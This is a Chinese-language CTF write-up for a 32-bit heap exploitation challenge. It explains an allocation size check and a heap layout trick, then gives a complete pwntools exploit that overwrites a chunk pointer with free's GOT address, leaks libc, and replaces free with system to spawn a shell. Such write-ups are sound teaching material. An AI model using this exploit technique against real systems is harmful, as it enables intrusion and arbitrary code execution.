又是一道堆题,先看保护
关键信息是32位,没开pie
直接看ida
大致是alloc创建堆块,free释放堆块,show查看堆块内容,fill填充堆块内容
其他的都没啥关键的要讲,但alloc那里非常需要解析一下
解释如上图
再具体一点就是 我们输入的字节大小+堆块地址>=相邻0x80堆块的地址时会被强制退出
必须要 我们输入的字节大小+堆块地址<相邻0x80堆块的地址
那就意味这即便你填充到极限大小,即使下面有加1,你也没法修改相邻堆块的堆头size
解题思路:
上面我们提到程序限制输入字节大小的手段,但是这个判断条件很特殊,必须要是相邻的堆块才能这么判断,但当我们先创建任意大小的两个堆块,再free掉堆块0,再申请一个0x80大小的堆块,这时候我们申请的0x80大小的堆块就会申请到原来相邻的程序自动创建的0x80大小的堆块。可这时系统申请的堆块就没法与我们创建的0x80大小的堆块相邻了,因为这时我们申请的堆块相邻已经有堆块了,所以他就会往下找空间去存放程序创建的0x80堆块了。
而这时,我们可以填充的字节大小就会变大很多,足以覆盖下一个我们自己申请的堆块的相邻程序自动创建堆块里存放的堆块指针
有点绕,简单点来说就是覆盖堆块1的指针,把他改为free的got地址,这样打印free的got地址与替换free的got表里的内容为system就可以一步到位了
完整exp:
from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./fs')
#p=remote('node5.buuoj.cn',29284)
free_got=0x804B010
def alloc(description,size,context):
p.sendlineafter(b'Action:',str(0))
p.sendlineafter(b'size of description:',str(description))
p.sendlineafter(b'name:',b'aa')
p.sendlineafter(b'text length:',str(size))
p.sendlineafter(b'text:',context)
def free(index):
p.sendlineafter(b'Action:',str(1))
p.sendlineafter(b'index',str(index))
def show(index):
p.sendlineafter(b'Action:',str(2))
p.sendlineafter(b'index',str(index))
def fill(index,size,context):
p.sendlineafter(b'Action:',str(3))
p.sendlineafter(b'index',str(index))
p.sendlineafter(b'text length:',str(size))
p.sendlineafter(b'text:',context)
alloc(0x8,0x8,b'bb') #这仨堆块大小没太大限制,当然越少越好计算就行
alloc(0x10,0x8,b'bb') #这里填入的两个字节大小有点绕,其实他后一个大小是用到了填充堆块的那个函数
alloc(0x10,0x8,b'/bin/sh\x00')
free(0)
payload=p32(0)*33+p32(0x19)+p32(0)*5+p32(0x89)+p32(free_got) #注意这里不要破坏已有的堆块结构
alloc(0x80,len(payload),payload) #这里要是0x80大小
print(len(payload))
show(1)
free_addr=u32(p.recvuntil(b'\xf7')[-4:])
print(free_addr)
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system=libcbase+libc.dump('system')
payload=p32(system) #因为堆块1的指针被替换成free_got所以编辑堆块1就是修改free的got表里的内容
fill(1,len(payload),payload)
free(2) #相当于运行system('/bin/sh')
p.interactive()
补充点1:创建堆块alloc那里刚开始看可能有点绕,解释一下,就是name是啥不重要,前一个大小其实就是我们要申请的堆块大小,后面那一个大小是我们要填充堆块的内容的大小,那个b'bb'就是我们要填充堆块内容的地方